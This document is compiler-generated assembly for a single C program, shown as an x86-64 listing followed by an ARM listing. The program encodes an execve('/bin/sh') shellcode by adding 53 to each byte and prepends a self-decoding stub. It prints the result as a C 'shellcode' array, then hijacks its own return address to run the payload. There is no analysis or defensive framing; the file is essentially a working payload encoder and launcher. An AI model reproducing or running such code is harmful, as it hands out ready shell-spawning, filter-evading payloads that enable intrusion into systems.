	.file	"177324.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"\n\nchar shellcode[] ="
.LC1:
	.string	"\""
.LC2:
	.string	"\t\""
.LC3:
	.string	"\\x%02x"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 120
	.cfi_offset 3, -24
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	movabs	rax, -9223176559179984405
	movabs	rdx, 8431276713396080236
	mov	QWORD PTR -96[rbp], rax
	mov	QWORD PTR -88[rbp], rdx
	movabs	rax, -90596578314
	mov	QWORD PTR -80[rbp], rax
	mov	BYTE PTR -72[rbp], 0
	movabs	rax, 524256765678587627
	movabs	rdx, -9165581449337352112
	mov	QWORD PTR -64[rbp], rax
	mov	QWORD PTR -56[rbp], rdx
	movabs	rax, 7593684698258206184
	mov	QWORD PTR -48[rbp], rax
	mov	DWORD PTR -40[rbp], 1752379246
	mov	WORD PTR -36[rbp], 35
	mov	DWORD PTR -108[rbp], 53
	mov	DWORD PTR -112[rbp], 15
	mov	DWORD PTR -116[rbp], 0
	jmp	.L2
.L3:
	mov	eax, DWORD PTR -116[rbp]
	cdqe
	movzx	eax, BYTE PTR -64[rbp+rax]
	mov	edx, eax
	mov	eax, DWORD PTR -108[rbp]
	add	eax, edx
	mov	edx, eax
	mov	eax, DWORD PTR -116[rbp]
	cdqe
	mov	BYTE PTR -64[rbp+rax], dl
	add	DWORD PTR -116[rbp], 1
.L2:
	mov	eax, DWORD PTR -116[rbp]
	movsx	rbx, eax
	lea	rax, -64[rbp]
	mov	rdi, rax
	call	strlen@PLT
	cmp	rbx, rax
	jb	.L3
	movzx	eax, BYTE PTR -90[rbp]
	mov	ebx, eax
	lea	rax, -64[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	eax, ebx
	mov	BYTE PTR -90[rbp], al
	movzx	eax, BYTE PTR -85[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR -108[rbp]
	add	eax, edx
	mov	BYTE PTR -85[rbp], al
	lea	rax, -64[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rbx, rax
	lea	rax, -96[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	rax, rbx
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -104[rbp], rax
	lea	rdx, -96[rbp]
	mov	rax, QWORD PTR -104[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcat@PLT
	lea	rdx, -64[rbp]
	mov	rax, QWORD PTR -104[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcat@PLT
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	DWORD PTR -116[rbp], 0
	jmp	.L4
.L7:
	cmp	DWORD PTR -112[rbp], 14
	jle	.L5
	cmp	DWORD PTR -116[rbp], 0
	je	.L6
	lea	rdi, .LC1[rip]
	call	puts@PLT
.L6:
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -112[rbp], 0
.L5:
	add	DWORD PTR -112[rbp], 1
	mov	eax, DWORD PTR -116[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -104[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	mov	esi, eax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	add	DWORD PTR -116[rbp], 1
.L4:
	mov	eax, DWORD PTR -116[rbp]
	movsx	rbx, eax
	mov	rax, QWORD PTR -104[rbp]
	mov	rdi, rax
	call	strlen@PLT
	cmp	rbx, rax
	jb	.L7
	mov	rax, QWORD PTR -104[rbp]
	mov	rdi, rax
	call	execute
	mov	rax, QWORD PTR -104[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -24[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.globl	execute
	.type	execute, @function
execute:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -16[rbp]
	add	rax, 8
	mov	QWORD PTR -16[rbp], rax
	mov	rdx, QWORD PTR -24[rbp]
	mov	rax, QWORD PTR -16[rbp]
	mov	DWORD PTR [rax], edx
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L11
	call	__stack_chk_fail@PLT
.L11:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	execute, .-execute
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"177324.c"
	.text
	.section	.rodata
	.align	2
.LC2:
	.ascii	"\012\012char shellcode[] =\000"
	.align	2
.LC3:
	.ascii	"\"\000"
	.align	2
.LC4:
	.ascii	"\011\"\000"
	.align	2
.LC5:
	.ascii	"\\x%02x\000"
	.align	2
.LC0:
	.ascii	"\353\021^1\311\261\000\200l\016\377\000\200\351\001"
	.ascii	"u\366\353\005\350\352\377\377\377\000"
	.align	2
.LC1:
	.ascii	"\353\016^1\300\210F\007PPV\260;P\315\200\350\355\377"
	.ascii	"\377\377/bin/sh#\000"
	.align	2
.LC6:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 80
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #84
	ldr	r3, .L10
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r3, .L10+4
	sub	ip, fp, #76
	mov	lr, r3
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2}
	stmia	ip!, {r0, r1}
	strb	r2, [ip]
	ldr	r3, .L10+8
	sub	ip, fp, #48
	mov	lr, r3
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2}
	strh	r3, [ip]	@ movhi
	mov	r3, #53
	str	r3, [fp, #-84]
	mov	r3, #15
	str	r3, [fp, #-88]
	mov	r3, #0
	str	r3, [fp, #-92]
	b	.L2
.L3:
	sub	r2, fp, #48
	ldr	r3, [fp, #-92]
	add	r3, r2, r3
	ldrb	r2, [r3]	@ zero_extendqisi2
	ldr	r3, [fp, #-84]
	and	r3, r3, #255
	add	r3, r2, r3
	and	r1, r3, #255
	sub	r2, fp, #48
	ldr	r3, [fp, #-92]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
	ldr	r3, [fp, #-92]
	add	r3, r3, #1
	str	r3, [fp, #-92]
.L2:
	sub	r3, fp, #48
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	ldr	r3, [fp, #-92]
	cmp	r2, r3
	bhi	.L3
	ldrb	r4, [fp, #-70]	@ zero_extendqisi2
	sub	r3, fp, #48
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	and	r3, r3, #255
	add	r3, r4, r3
	and	r3, r3, #255
	strb	r3, [fp, #-70]
	ldrb	r2, [fp, #-65]	@ zero_extendqisi2
	ldr	r3, [fp, #-84]
	and	r3, r3, #255
	add	r3, r2, r3
	and	r3, r3, #255
	strb	r3, [fp, #-65]
	sub	r3, fp, #48
	mov	r0, r3
	bl	strlen
	mov	r4, r0
	sub	r3, fp, #76
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	add	r3, r4, r3
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-80]
	sub	r3, fp, #76
	mov	r1, r3
	ldr	r0, [fp, #-80]
	bl	strcat
	sub	r3, fp, #48
	mov	r1, r3
	ldr	r0, [fp, #-80]
	bl	strcat
	ldr	r0, .L10+12
	bl	puts
	mov	r3, #0
	str	r3, [fp, #-92]
	b	.L4
.L7:
	ldr	r3, [fp, #-88]
	cmp	r3, #14
	ble	.L5
	ldr	r3, [fp, #-92]
	cmp	r3, #0
	beq	.L6
	ldr	r0, .L10+16
	bl	puts
.L6:
	ldr	r0, .L10+20
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-88]
.L5:
	ldr	r3, [fp, #-88]
	add	r3, r3, #1
	str	r3, [fp, #-88]
	ldr	r3, [fp, #-92]
	ldr	r2, [fp, #-80]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, .L10+24
	bl	printf
	ldr	r3, [fp, #-92]
	add	r3, r3, #1
	str	r3, [fp, #-92]
.L4:
	ldr	r0, [fp, #-80]
	bl	strlen
	mov	r2, r0
	ldr	r3, [fp, #-92]
	cmp	r2, r3
	bhi	.L7
	ldr	r0, [fp, #-80]
	bl	execute
	ldr	r0, [fp, #-80]
	bl	free
	mov	r3, #0
	ldr	r2, .L10
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L9
	bl	__stack_chk_fail
.L9:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L11:
	.align	2
.L10:
	.word	.LC6
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.size	main, .-main
	.section	.rodata
	.align	2
.LC7:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	execute
	.syntax unified
	.arm
	.fpu softvfp
	.type	execute, %function
execute:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, .L14
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #12
	add	r3, r3, #8
	str	r3, [fp, #-12]
	ldr	r3, [fp, #-12]
	ldr	r2, [fp, #-16]
	str	r2, [r3]
	nop
	ldr	r3, .L14
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L13
	bl	__stack_chk_fail
.L13:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L15:
	.align	2
.L14:
	.word	.LC7
	.size	execute, .-execute
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
